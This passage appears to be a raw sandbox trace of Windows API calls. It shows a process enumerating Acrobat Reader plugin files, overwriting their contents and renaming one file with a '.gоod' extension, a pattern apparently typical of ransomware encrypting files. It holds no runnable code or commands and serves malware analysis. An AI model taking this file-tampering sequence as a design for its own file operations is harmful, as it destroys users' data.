dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x3d37778 | out: lpFileInformation=0x3d37778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x62167)) returned 1 [0257.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebcc0) returned 1 [0257.883] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", lpFilePart=0x0) returned 0x86 [0257.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.885] GetFileType (hFile=0x864) returned 0x1 [0257.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.885] GetFileType (hFile=0x864) returned 0x1 [0257.885] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x1000 [0257.885] ReadFile (in: hFile=0x864, lpBuffer=0x3d1fd40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebd28, lpOverlapped=0x0 | out: lpBuffer=0x3d1fd40*, lpNumberOfBytesRead=0x203ebd28*=0x1000, lpOverlapped=0x0) returned 1 [0257.886] CloseHandle (hObject=0x864) returned 1 [0257.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", lpFilePart=0x0) returned 0x86 [0257.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.886] GetFileType (hFile=0x864) returned 0x1 [0257.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.886] GetFileType (hFile=0x864) returned 0x1 [0257.886] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x62167 [0257.886] WriteFile (in: hFile=0x864, lpBuffer=0x3d210b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ebc48, lpOverlapped=0x0 | out: lpBuffer=0x3d210b8*, lpNumberOfBytesWritten=0x203ebc48*=0x10, lpOverlapped=0x0) returned 1 [0257.887] CloseHandle (hObject=0x864) returned 1 [0257.888] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", lpFilePart=0x0) returned 0x86 [0257.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.888] GetFileType (hFile=0x864) returned 0x1 [0257.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.888] GetFileType (hFile=0x864) returned 0x1 [0257.888] ReadFile (in: hFile=0x864, lpBuffer=0x3d23458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebcd8, lpOverlapped=0x0 | out: lpBuffer=0x3d23458*, lpNumberOfBytesRead=0x203ebcd8*=0x1000, lpOverlapped=0x0) returned 1 [0257.923] CloseHandle (hObject=0x864) returned 1 [0257.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", lpFilePart=0x0) returned 0x86 [0257.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.924] GetFileType (hFile=0x864) returned 0x1 [0257.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.924] GetFileType (hFile=0x864) returned 0x1 [0257.924] WriteFile (in: hFile=0x864, lpBuffer=0x3d22120*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ebd88, lpOverlapped=0x0 | out: lpBuffer=0x3d22120*, lpNumberOfBytesWritten=0x203ebd88*=0x1010, lpOverlapped=0x0) returned 1 [0257.924] CloseHandle (hObject=0x864) returned 1 [0257.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", lpFilePart=0x0) returned 0x86 [0257.924] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js.gоod", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js.gоod", lpFilePart=0x0) returned 0x8b [0257.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebcc0) returned 1 [0257.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x203ebda0 | out: lpFileInformation=0x203ebda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95f2542d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x62177)) returned 1 [0257.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebc80) returned 1 [0257.924] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js.gоod")) returned 1 [0257.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0257.926] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp", lpFilePart=0x0) returned 0x73 [0257.926] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0259.831] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.831] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc58, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-rna-selector.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0259.831] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-rna-tool-view.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0259.832] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-selector.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0259.832] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0259.832] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.832] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0259.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0259.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0259.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0259.832] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp", lpFilePart=0x0) returned 0x73 [0259.832] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0259.832] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.833] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc58, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-rna-selector.js", cAlternateFileName="CONVER~1.JS")) returned 1 [0259.833] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff77e79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff77e79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="convertpdf-rna-tool-view.js", cAlternateFileName="CONVER~2.JS")) returned 1 [0259.833] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-selector.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0259.833] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0259.833] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 0 [0259.833] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0259.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0259.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0259.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", lpFilePart=0x0) returned 0x8e [0259.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0259.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x37deb78 | out: lpFileInformation=0x37deb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff77e79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bc58)) returned 1 [0259.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0259.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", lpFilePart=0x0) returned 0x8e [0259.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0259.834] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0259.835] GetFileType (hFile=0x864) returned 0x1 [0259.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0259.835] GetFileType (hFile=0x864) returned 0x1 [0259.835] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0259.835] ReadFile (in: hFile=0x864, lpBuffer=0x37df0e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x37df0e0*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0259.835] CloseHandle (hObject=0x864) returned 1 [0259.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", lpFilePart=0x0) returned 0x8e [0259.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0259.836] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0259.836] GetFileType (hFile=0x864) returned 0x1 [0259.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0259.836] GetFileType (hFile=0x864) returned 0x1 [0259.836] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x2bc58 [0259.836] WriteFile (in: hFile=0x864, lpBuffer=0x37e0490*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x37e0490*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0259.837] CloseHandle (hObject=0x864) returned 1 [0259.837] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", lpFilePart=0x0) returned 0x8e [0259.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0259.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0259.837] GetFileType (hFile=0x864) returned 0x1 [0259.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0259.837] GetFileType (hFile=0x864) returned 0x1 [0259.837] ReadFile (in: hFile=0x864, lpBuffer=0x37e4878, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x37e4878*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0259.864] CloseHandle (hObject=0x864) returned 1 [0259.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\rhp\\convertpdf-rna-selector.js", nBufferLength=0x105, 